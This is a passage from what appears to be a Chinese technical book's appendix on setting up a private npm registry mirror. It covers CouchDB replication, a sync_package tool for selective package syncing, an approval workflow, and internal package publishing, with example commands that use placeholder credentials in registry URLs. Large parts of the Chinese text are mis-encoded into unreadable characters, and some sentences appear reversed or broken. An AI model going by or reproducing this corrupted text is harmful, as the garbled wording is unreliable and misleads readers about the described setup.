ᖌԨ源ं的Ԫ动ጹᓫ，࠱Фଡ̓ፋ目ಕं的/_missing_revs接ԯ，३到目ಕंᎤܾג些஠ು（也

就是ഴڰ包），ཨ后ᤩ个Վ൥Ꭴܾ的஠ು。 

$ replicate http://admin:pass@somecouch/sourcedb http://admin:pass@somecouch/destinationdb 

 。到᪪像̱ं中，可以᤯过crontab定时͉务౎实ဗڰՎ൥ഴڠ౦想૆续性ݟ

上ᤗ的问题Ιཨ是网ፎ问题，可能会࠭ᒰ中ற，Ꮺ且੔至目前߽ழഴڰ有3ʹ多个，ఝ新次

数᣹55ʹ次，߸КՎ൥是一个不小的工程。 

D.2.2� ⾕᳝῵ഫᑨ⫼ 

实ဗ᪪像̱ं后，ݟ౦࠱这个᪪像̱ं用于生产，它能解决前᭦ଡ到的4个问题中的ሒ有ഴ
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网ፎሶ定性ॕֽ߶ᜈᤳऎ这ˏ个问题。我们可以᤯过NPM工Х᝹Ꮅregistry的ழय౎使用᪪֖ڰ

像̱ं，甚至发͌࣊ˉ自己的ሒ有ഴڰ到ሒ有̱ं中，߸Ꮎ解决͌ˉઝ心的ᬤሒ问题，ͭ还不能

解决的问题是ഴڰ质量֖ྟ本ଌ҃中ߚ在的᮲ᬖ。 

我డ经࠼试过ˏሗழ಴，一ሗ是上ᤗ的࠱੝有ഴڰՎ൥到自有̱ं中，ཨ后ຈՋМՂሒ有ഴ

 。图D-2੝ᇧݟ的ழयᤈᛠ使用，它的使用ഴयڰ

 

图D-2 在᪪像̱ं中使用МРഴ֖ڰሒ有ഴڰ 

在这个಴Β中，我们᤯过一个᪪像̱ं౎ᤈᛠᬤሒᬥሎ，࠱ሒ有ഴڰ发࣊到᪪像̱ं中。对

于ˉ务᤾ᣣ不相关的ഴڰ，我们可以发࣊到М有NPM̱ं中，ٿᯟ到开源社区。我们相信绝大多

数͌ˉ也是᤯过这ሗഴय౎ᤈᛠNode开发的。在这个ഴय中，我们可以ᄹ到NPMࣰԻ上为ʹ能

有ᡔ౎ᡔ多的高质量ഴڰ。͌ˉ在享ԩ开源的过程中也不றٿڠᯟ开源社区。相ඊӬУ作ੌ，͌

ˉ产Ѣ的ഴڰ的质量可能ఝ高，因为这个ഴڰ多数已经ᜁ͌ˉ自己使用֖实践过。 

D.2.3� 㒃⾕᳝ҧᑧ 

᪪像̱ं加ሒ有ഴڰ的ഴय已经能ܴᝧ͌ˉ最ઝ心的ሶ定性֖ᬤሒ性问题३以解决，ͭ 是ྟ

本发࣊可᜷ᄥᤴ੆的᮲ᬖ֖ഴڰ质量的问题还不能३到解决，我们一ᐦᑧ࠱ڠ੝有ഴڰ都પ入到

我们的͌ˉ生产环境中，对于我们解决质量问题ˌඒ没有ࣞү。相反，પᤈ౎的ഴڰ没有३到ૌ

ᤤ֖ࠅನ。в者，NPMࣰԻ上͔多的ഴڰ，ᄽൣ能ܴ用到的不ᡛӠ分之一。Բ外，由于是在͌ˉ

内部使用这些ഴڰ，并不ᭉ要对М͔开உ。因൤，我们可以࠼试ᤈᛠ应用上的இᤈ，ख़ऄ解决ઝ

心的੝有问题。 

由于我们并不ᭉ要Վ൥੝有的ഴڰ，੝以我们࠼试在图D-2中的К量Վ൥这᧖ᤈᛠஇᤈ。在

这个环ᓫ中，我们加入ࠅನ机҃，从К量Վ൥இ为૊ᭉՎ൥，Хͳݟ图D-3੝ᇧ。 

 

图D-3 ࠱К量Վ൥இ为૊ᭉՎ൥ 

在这个இᤴ过程中，也ᭉ要对工Хᩖᤈᛠஇᤴ。૊ᭉՎ൥只要Վ൥ૈ定的ഴڰԀ可，对于Ι

ᠺ的ഴڰ，我们可以᝹Ꮅഴय以ᤤસ是否Վ൥Ιᠺ的ഴڰ。 
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1. ᣝ䳔ৠℹ 
为了߸੆૊ᭉՎ൥的ᭉය，我在replicate工Х的۲ᆨ上ᤈᛠ了இᤴ，编写了sync_package

ഴڰ。它的使用ழयݟ下Ὑ 

$ npm install sync_package -g 

$ npm config set remote_registry http://isaacs.iriscouch.com/registry/ 

$ #ᅺ为本ں仓库的写入඄限问题ǈ໯ᅜऻڥ写上੨ସ 

$ npm config set local_registry http://username:password@ip/registry/ 

$ sync_package express # 同步express模块 

这个工Х只Վ൥ૈ定的ഴڰ，ᤉඊreplicateঋ，能ܴ᣽ᤳ߸੆੝ᭉഴڰ的Վ൥。᳭认情х

下，这会Վ时Վ൥Ιᠺ的੝有ഴڰ。加-D可以Ԩ๖Վ൥ΙᠺഴڰὙ 

$ sync_package express -D 

sync_packageഴڰ的ԓူ是对ඊ源ं中的஠ು信ো֖目ಕं中的஠ು信ো，ݟ౦不Վ，Ѷ࠱

源ं中的ഴڰՎ൥到目ಕं中。实ဗ这个过程的接ԯ是/module_name?revs_info=true，它࠱ԨѢ

஠ು的សጹ信ো用于对ඊ。 

Ф中源ं֖目ಕं的᝹Ꮅ在前᭦的̼ᆉ中，᤯过NPM工Х可以᝹Ꮅ。 

2. ᅵḌᴎࠊ 
实ဗ了૊ᭉՎ൥后，还ᭉ要对这个Վ൥过程加入ࠅನ机҃。ࠅನ的目的在于ᆷ认是否应ឞՎ

൥ឞഴڰ，这个ഴڰ在质量֖߶К性上是否३到认可。这个过程就是对ഴڰ的ૌᤤ过程，᤯过ࠅ

ನ，可以很好ڠ౉绝ͯ质量的ഴڰᤈ入我们的生产环境。 

要߸੆ࠅನ机҃，关᪃在于ଌ҃Վ൥ഴڰ的ాᬌ。我们࠱ᬤᘨሒ有̱ं的写入ࠚᆉ，᤯过一

个Web系统౎ᤈᛠ管ူ，ᬓ了管ူտ外，Ф余开发人տ没有ॸ要ᅻ᥊ឞࠚᆉ。也就是ឬ，我们࠱

૊ᭉՎ൥的ҩ能作为一个触发性ҩ能，ࠅನ੆ҩ后自动૊ᭉՎ൥。图D-4໥ᇧ了ഴڰ的ࠅನึ 

程图。 

 

图D-4 ഴڰ的ࠅನึ程图 
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Վ൥ഴڰ包的过程对于请යՎ൥的人౎ឬܪ于ᳫᄣ环境，ࠅನ᤯过Ԁ可ᤈᛠՎ൥，Վ൥过程

੝ᭉ要的ࠚᆉ只ᭉ在开始时由管ူտᦠᎵ好Ԁ可。 

3. Ѡᮍ῵ഫ 
᤯过ࠅನ机҃可以很好ူܪڠኃʻழഴڰ包的Վ൥问题。接下౎，要ူܪ的是͌ˉ自己的ሒ

有ഴڰ。在͌ˉ环境中，ഴڰ应ॆ࡚于ᥦ个ڃ᫲Ꮺ᭣个人，因为个人可能ߚ在ᣀ࡯、᡹മኍᛠ为，

不能像МР社区ഴڰᥦ样自ᛠ᤯过npm adduserซб᠌Ձ౎߸੆ഴڰ的发࣊。为൤，可以在Web

系统中实ဗ这个管ူ，统一为ڃ᫲᝹Ꮅ一个᠌Ձ，由管ူտᤈᛠnpm adduser的ୱ作。Վ样，发

 。᫲᠌Ձᤈᛠnpm publishୱ作的ڃ的过程也不是᤯过开发者ᤈᛠ的，Ꮺ是由Web系统᤯过࣊

对于̃ழഴڰ，大多数开发ڃ᫲都有自己的̼ᆉࠅನึ程。在有ྟ本ᭉ要发࣊的时候，᤯过

Web系统౎ᤈᛠႁ请发࣊Ԁ可。在发࣊的过程中，可以᤯过源̼ᆉྟ本ଌ҃系统ԟ与，这个过程

 。图D-5੝ᇧݟ

 

图D-5 ̃ழഴڰ的发ึ࣊程 

在̃ழഴڰ中，ː ಪሄൢ--forceഴय的发࣊，᤯过这个Web系统౎߸੆这个ୱ作，ሄൢ᜷ᄥ

发࣊以ᥗБ໷在᮲ᬖ。 

4. ӕϮ῵ഫㅵ⧚㋏㒳 
᤯过对ሒ有̱ं加入ᤁ፤机҃、ᤈᛠࠓ͊ܫ༪ኍ产品Ӑୱ作后，上ᤗഴय在ቷ者的ڃ᫲（ᬀ

᧖ࣄࣄ数૵ࣰԻ）已经有ᡓ过一年的੯ᛠ经ᰍ。ឞ̱ंஂଢ଼了多个ڃ᫲数个产品的௅࣡开发֖线

上部Ꮇ。上᭦ଡԢ的Web系统Ԁ是我们的͌ˉഴڰ管ူ系统，由于开发过程中与͌ˉ有一些ᏸՋ，

之后会࠱这部分ᏸՋԜ૿，ཨ后开源到社区中。 

D.3� ᘏ㒧 

NPM在Node的发ࡘԊ程中有着ҩ不可没的作用。没有NPM，Node就没有ݟ൤͔多的ഴڰ可
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以使用。没有NPMࣰԻ，CommonJS组织࠱JavaScript应用到͉ʹڠழ的想ก࠱不可能这˥ঋ实ဗ。

ཨᏪ߽ழNPM对͌ˉ应用ஂ૆的Ꭴܾ，࠭ᒰ很多͌ˉ在应用Node的过程中要经Ԋ很多ाᡸ。本

ᬃेࣛ౎的解决ழ಴࣎భ͌ˉ在应用Node时能ܴ在γએ͌ˉ的Վ时享ԩ到开源社区的好ܪ，ᝧ

NPM工Х不应ॆ因为环境的不ՎᏪ不能使用。 

D.4� খ㗗䌘⑤ 

本ᬃेԟᏥ的ᠪ源ݟ下Ὑ 

� https://www.irisnpm.com/ 

� http://www.erlang.org/doc/installation_guide/INSTALL.html 

� http://wiki.apache.org/couchdb/Installation 

� https://github.com/isaacs/npmjs.org 

� https://github.com/isaacs/npm-www 

� https://developer.mozilla.org/en-US/docs/SpiderMonkey/Build_Documentation 

� https://github.com/mikeal/replicate 

� https://github.com/TBEDP/sync_package 
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